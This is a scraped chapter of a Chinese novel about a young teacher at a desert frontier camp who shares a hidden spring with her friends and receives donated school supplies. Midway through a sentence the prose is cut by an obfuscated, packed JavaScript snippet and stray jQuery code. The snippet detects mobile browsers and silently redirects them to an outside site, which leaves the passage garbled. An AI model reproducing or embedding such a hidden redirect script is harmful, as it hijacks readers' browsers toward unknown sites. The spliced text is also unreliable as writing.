第二天是周日。
周巧珍板着脸,摔摔打打地洗漱完毕,抓起自己的饭盆,一掀门帘出去了,脚步声踩得又重又响。
门帘落下,王大姐和李秀兰对视一眼,都松了口气。
舒染坐起身,朝她们招招手,压低声音,眼睛里带着分享秘密的亮光:“大姐,秀兰,过来。”
两人立刻凑近。
“我昨晚……”舒染的声音压得更低,几乎只剩气声,“找到个地方……有水。”
她看着两人瞬间瞪大的眼睛,“就在西边那片红柳洼子里,很隐蔽,一点点渗出来的小泉眼,水流慢得很。”
“真的?!”李秀兰捂住嘴,差点惊呼出声。
王大姐也激动地抓住舒染的胳膊:“老天爷!这可……这可真是……”她激动得不知说什么好。
“嘘——”舒染做了个噤声的手势,神情严肃,“这事,就咱们仨知道。千万不能漏出去。水流太小了,人一多,立马就干,谁也洗不成。而且,”她顿了顿,声音带着现实的考量,“让人知道了,指不定惹出什么麻烦来。”
王大姐立刻用力点头,拍着胸脯:“染妹子你放心!大姐嘴上有把门的!这事烂在肚子里!”她看了看舒染,“不过,大姐在食堂后头,趁着刷锅洗碗的热乎水汽,也能偷偷擦擦,就不去占那点水了。”
李秀兰也连忙保证:“舒染姐,我保证不说!我们做豆腐的地方水倒是管够,就是地方太敞,也不好洗。你要去的话,我帮你看着点,要是周巧珍回来,我就在门口咳嗽两声!”
一股暖流涌上舒染心头。这简陋地窝子里滋生的情谊,在这物资匮乏的戈壁滩上,显得格外珍贵。她用力点点头:“好!谢谢大姐,谢谢秀兰!”
下午,阳光正好。舒染腰后的伤经过一夜休息和药酒揉搓,总算松快了些,她正坐在矮凳上,就着门口的光线翻看那本《自然常识》,想着下周的教案。
一阵脚步声在门外响起。舒染抬头,看见张桂芬领着三四个妇女站在地窝子入口的斜坡上。
她们都穿着洗得发白的旧罩衫,头巾包得严严实实,脸上带着风霜和局促。
张桂芬怀里抱着个两三岁的娃娃,看见舒染,脸上立刻堆起感激又有些不好意思的笑容。
“舒老师……打扰您歇着了。”张桂芬往前挪了半步,声音不大,“俺们几个……都是连里的家属。听说您这儿教娃娃认字,教得可好了!俺们……俺们也想让家里的娃来跟着您学学,成不?”
她身后一个瘦高个的妇女赶紧接话,从身后拿出一个旧布袋,哗啦一下倒出十几块大小不一的石灰块,有些还带着棱角:“舒老师,这是俺家那口子从石灰窑那边捡的边角料,您看……能当粉笔使不?给娃娃们用!”
另一个妇女也小声说:“娃在家也是皮,不如送来跟您学点正经东西!”
舒染看着地上那堆灰白色的石灰块,又看看眼前几张充满期盼的脸,心中感慨万千。
她站起身,温和地笑着说:“当然可以!欢迎娃娃们来。启明小学的门,永远为想学习的孩子开着。”
正说着,石会计背着手踱了过来。他脸上带着惯常的严肃,但眼神比平时温和许多。
他走到舒染面前,没说话,直接从旧中山装的上衣口袋里掏出一个小纸包,放在舒染旁边的土坯上。
纸包摊开,里面是七八根用剩的铅笔头,短的只有指甲盖长,长的也不过寸许,都被削得尖尖的。
“石头在家念叨,说好些字光用石灰块画,记不牢靠。”石会计目光扫过地上的石灰块和那几个家属,“这点铅笔头,给娃娃们轮流使使,练练手。”说完,也不等舒染道谢,背着手又踱开了。
这边话音还没落,一个穿着工装的小伙子气喘吁吁地跑过来,手里捧着厚厚一叠边缘参差不齐,印着模糊字迹和表格的废纸。
“舒老师!赵主任让我送来的!”小伙子把纸往地上一放,抹了把汗,“说是库房清出来的废报表,背面还能写字!”他丢下话,像完成任务似的,转身就跑。
舒染看着地上那堆石灰块、铅笔头、废报表,又看看眼前殷切的家属们,再望望石会计走远的背影,还有那堆显然是赵卫东别别扭扭送来的纸张,唇角忍不住弯了起来。
*
夜幕降临,连队安静下来。许君君提着她的小药箱,掀开地窝子的门帘。
“感觉怎么样?”她一边问,一边习惯性地去查看舒染腰后的伤和手上的绷带。
“好多了,多亏你的药酒。”舒染拉住她,眼睛亮晶晶的,“君君,想不想……洗个澡?”
许君君一愣,随即苦笑:“做梦都想!可水……”
“跟我来!”舒染神秘一笑,拿起盆和毛巾,又示意许君君带上她的盆。
两个纤细的身影,再次融入戈壁滩的夜色,朝着那片藏着秘密泉眼的红柳洼子走去。
月光清冷,四下里寂静无声。
许君君被舒染拉着,深一脚浅一脚地踩在盐碱壳上,她的心也悬着,攥着搪瓷盆的手有点抖。
“染染,你确定……真有水?还……洗澡?”她压着嗓子,声音在空旷里显得格外轻飘。这戈壁滩的夜,黑得能把人吞了。
“嘘——”舒染既兴奋又警惕,“就在前面那片红柳洼子,白天马蹄子踩过的地方记得吗?我觉着不对,昨晚摸黑来试了,真有!就是水流小得可怜,跟眼泪似的,得攒半天。”
终于摸到了那片低洼的红柳丛。舒染熟门熟路地拨开骆驼刺,露出下面那个浅坑。她示意许君君把盆放下,自己则用手扒开表层潮湿的沙土。
“你手上的伤还没好,我来。”许君君推开舒染扒拉起来。
泉眼再次露了出来,水汇聚在小小的凹坑里。
“老天爷……”许君君眼睛瞪得溜圆。她蹲下身,指尖触碰那冰凉的水“真……真的是水!活的泉水!”
舒染把她的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112798|179959||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
盆也放到泉眼下方,紧挨着自己的。“快,赶紧接。这点水,攒起来不容易。”她自己则飞快地解着衣扣,“冷……真冷……”她声音发着抖,却抓起毛巾蘸了盆里刚接的那点水,打上肥皂。
许君君也回过神,手忙脚乱地开始解自己白大褂里面的衬衣扣子,一边解一边紧张地左右张望,“染染,你说……不会有人来吧?这深更半夜的……”
“所以得快!”舒染手上的动作更快了,毛巾在脖颈、手臂、后背快速擦拭,泉水带走污垢,也带来寒意。她尽量蜷缩着身体,背对着可能有人来的方向,眼睛却警惕地扫视着四周的黑暗。
月光下,红柳丛的阴影摇曳不定,每一个晃动的影子都让她心头一跳。
许君君也学着舒染的样子,蘸着水,哆哆嗦嗦地擦洗。她动作更慌乱,冰水激得她嘶嘶抽气,却咬着牙不敢停。
“染染,我想家了……”她忽然低低地说,声音带着浓重的鼻音,“想家里的大浴缸,想哗哗的热水,想……想我妈给我搓背……”她的眼泪终于忍不住掉下来。
舒染擦拭的动作顿了一下。上海温暖的灯火、咖啡馆的香气、家中浴室蒸腾的水汽……那些画面闪过脑海,带来一阵酸楚。
她用力眨掉眼底的湿意,声音带着刻意的轻快,“想那些干啥?现在有这水,就是老天爷开恩!快洗!”她加快了动作。
两人不再说话。舒染的盆里水积了浅浅一层底,许君君的则更少。
“好了没?我……我快冻僵了!”许君君的声音带着哭腔,上下牙磕碰得厉害。
舒染也冷得受不了,“差不多了!快穿衣服!”她草草用还算干净的毛巾抹了抹身上的水珠,抓起内衣就往身上套。
“哒、哒、哒……”
一阵马蹄声,自远处传来!
舒染猛地抬头,心脏几乎要跳出喉咙!她一把按住许君君正要系扣子的手,示意她别出声。
两人紧紧贴在红柳丛最浓密的阴影里,连颤抖都强行抑制住,竖着耳朵捕捉那声音的来源。
马蹄声似乎来自连队的方向,不疾不徐,正朝着……她们这边过来?!
舒染心胆俱寒。被发现了?深更半夜在野地里鬼鬼祟祟?任何一个名头扣下来,都足以毁掉她好不容易在连队挣来的那点立足之地!
许君君更是吓得面无人色,死死抓住舒染的胳膊。
每一秒都像一个世纪那么难熬。马蹄声近了……又似乎远了……那声音终于拐了个弯,朝着远离洼地的方向,消失在夜风里。
舒染顺着红柳杆滑坐在地上,许君君也瘫坐下来,“走……染染,快走,我一分钟都不想待在这儿了……”
舒染强撑着站起来,飞快地检查了一下现场,把两个盆里浑浊的肥皂水泼到远处的沙地上,又用脚将泉眼附近的痕迹尽量抹平,重新盖上骆驼刺。
做完这一切,她才拉起许君君,抱着空盆,几乎是连滚爬爬地逃离了洼子。